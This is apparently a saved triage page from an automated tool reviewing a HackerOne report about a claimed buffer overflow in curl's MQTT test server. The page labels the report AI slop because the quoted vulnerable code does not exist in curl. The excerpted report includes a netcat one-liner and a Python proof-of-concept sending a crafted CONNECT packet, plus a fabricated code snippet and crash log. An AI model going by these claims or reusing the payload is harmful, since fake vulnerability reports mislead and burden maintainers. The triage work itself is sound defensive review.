Examples / Report #3101127 Saved analysis

Buffer Overflow in curl MQTT Test Server (tests/server/mqttd.c) via Malicious CONNECT Packet

curl · 2025-04-1916.1s analysis · $0.013 in model calls

What the report claims

Buffer overflow in curl MQTT test server (mqttd.c) via malicious CONNECT packet with oversized password length field

Compare with curl's recorded outcome

Labeled AI slop

curl's maintainer lists this report as AI slop

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Needs a policy review

The code does what the report says, but curl's own policy may exclude it. A maintainer decides.

curl policy: Debug & Experiments

Judgment withdrawn. The answer failed the evidence check.

See the withdrawn model reasoning

The following reasoning failed the citation check and does not support the final finding.

The deterministic checks confirm that 0/4 quoted lines from the report's vulnerable code snippet appear in the actual curl source at revision 3f297f1ecc9a, indicating the reported vulnerable code does not exist
The target is tests/server/mqttd.c, a test server that is not built by default and falls under the project's 'Debug & Experiments' policy section which explicitly states such vulnerabilities are not considered security problems
Even if a bug existed in the test server, the project policy states: 'Vulnerabilities in features which are off by default (in the build) and documented as experimental, or exist only in debug mode, are not eligible for a reward and we do not consider them security problems'
The report appears to fabricate a vulnerable code snippet that does not exist in the actual codebase

How this analysis ran 6 claims · 0 citations verified

Evidence check: the behavior is real; the project's policy section 'Debug & Experiments' may exclude it

Checked against curl master on 2025-04-19 (3f297f1ecc9a). Dev evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding

partially grounded

no model · 2 references checked out, 1 did not

2 · Claims

NVIDIA-Nemotron-3-Nano-30B-A3B

6 claims · 2845 tokens · $0.0003

3 · Evidence

0 code snippets

real curl source at 3f297f1ecc9a · 6 docs via Tavily

4 · Judgment

Nemotron-3-Ultra-550b-a55b

9091 tokens · 13.0s · $0.0129

5 · Receipts

0 of 6 citations verified

every citation must point at code the judge was shown

Inspect the withdrawn draft reply

This draft belongs to the withdrawn judgment. It may contain unsupported claims.

The vulnerable code snippet you quote from mqttd.c does not exist in the curl source at the revision you target (3f297f1ecc9a). Deterministic checks show 0/4 quoted lines appear anywhere in the codebase. Additionally, mqttd.c is a test server not built by default; per curl's security policy, vulnerabilities in debug/experimental features off by default are not considered security issues. Please verify the exact file revision and code you are reporting against.

Inspect all claims and source code 6 claims · 0 code excerpts

This model judgment was withdrawn. The claim assessments below are preserved for inspection and may be wrong.

Report claims

C1flaw contradicted

No bounds checking is performed when reading the 2-byte password length field in MQTT CONNECT packets

Read the reasoning

The report quotes a specific code snippet from mqttd.c showing password length parsing without bounds checks, but deterministic checks confirm none of the quoted lines exist in the actual curl source at the target revision. The claim describes code that is not present.

deterministic check

C2location contradicted

In mqttd.c, the password length is calculated using buffer[start_passwd] and buffer[start_passwd + 1] without validating that start_passwd + 1 is within the buffer bounds

Read the reasoning

The report cites a specific location and code pattern for the password length calculation, but the deterministic checks show the quoted code does not exist in the actual mqttd.c file at the revision checked.

deterministic check

C3trigger not verifiable

A malicious CONNECT packet with a password length value of 65535 (0xFFFF) is sent to the MQTT test server

Read the reasoning

The trigger claim depends on the existence of the vulnerable code path, which the deterministic checks contradict. Without the actual parsing code, we cannot verify if this packet would cause a crash.

deterministic check

C4impact not verifiable

The server crashes with a segmentation fault due to invalid memory access, or potentially allows arbitrary code execution

Read the reasoning

The impact claim (crash or RCE) depends on the vulnerability existing. Since the code quoted in the report is not found in the actual source, the impact cannot be verified.

deterministic check

C5reproduction not verifiable

The vulnerability can be reproduced by compiling mqttd.c, starting the server on port 1883, and sending a crafted CONNECT packet with an invalid password length using netcat

Read the reasoning

The reproduction steps assume the vulnerable code is present in mqttd.c. Since the quoted code does not exist in the actual source, the reproduction cannot be verified.

deterministic check

C6reproduction not verifiable

The crash is confirmed by observing the log message 'malloc(): invalid size (unsorted)' in the server output

Read the reasoning

The crash confirmation claim depends on the vulnerability being real and reproducible. Since the underlying code is not found in the actual source, this claim cannot be verified.

deterministic check

Deterministic checks that failed

quote only 0/4 quoted lines appear anywhere in curl at 3f297f1ecc9a

What the report says about other projects

not addressed The password length field in MQTT CONNECT packets must be validated to prevent buffer overflows

not addressed Buffer overflows in network protocol parsing require bounds checking of length fields

Read the original report (excerpt)

Full report on HackerOne ↗

# Title: Buffer Overflow in curl MQTT Test Server (mqttd.c) via Malicious CONNECT Packet ## Description The MQTT test server (`mqttd.c`) in the curl project contains a buffer overflow vulnerability due to improper validation of password length fields in MQTT `CONNECT` packets. An attacker can craft a malicious packet with an excessive password length value to trigger a denial of service (server crash) or potentially execute arbitrary code. --- ## Summary The vulnerability occurs when parsing the password length field in MQTT `CONNECT` packets: - No bounds checking is performed when reading the 2-byte password length - Subsequent memory operations use this unvalidated length, leading to out-of-bounds reads/writes - Exploitation is trivial with a single malformed packet **Risk:** High (Remote Code Execution/DoS) **CWE:** 119 (Improper Restriction of Operations within Bounds of Memory Buffer) --- --- ## Steps To Reproduce ### 1. Compile Vulnerable Server ```bash # Clone curl repository git clone https://github.com/curl/curl.git cd curl/tests/server # Compile mqttd.c gcc -o mqttd mqttd.c ``` ### 2. Start MQTT Test Server ```bash ./mqttd --port 1883 --logfile mqttd.log ``` ### 3. Send Malicious Packet ```bash # Craft CONNECT packet with password length = 65535 (0xFFFF) printf '\x10\x1a\x00\x04MQTT\x04\xc2\x00\x3c\x00\x04test\x00\x04user\xff\xff' | nc localhost 1883 ``` ### 4. Observe Crash Check server logs for segmentation fault: ```log ====> Client connect, fd 4. Read config from mqttd.config mqttd: malloc(): invalid size (unsorted) Aborted (core dumped) ``` --- ## Supporting Material/References ### PoC Script (Python) ```python #!/usr/bin/env python3 import socket TARGET_IP = "127.0.0.1" TARGET_PORT = 1883 # Malicious CONNECT packet with invalid password length payload = bytes.fromhex( "101a00044d51545404c2003c000474657374000475736572ffff" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) sock.send(payload) sock.close() ``` ### Vulnerable Code Snippet ```c // In mqttd.c if(passwd_flag == (char)(conn_flags & passwd_flag)) { payload_len += (size_t)(buffer[start_passwd] << 8) | buffer[start_passwd + 1]; // 🚨 No bounds check payload_len += 2; } ``` --- ## Impact Analysis | Aspect | Impact | |----------------------|-- …

Source code

No source code was retrieved for this analysis. The evidence may be incomplete.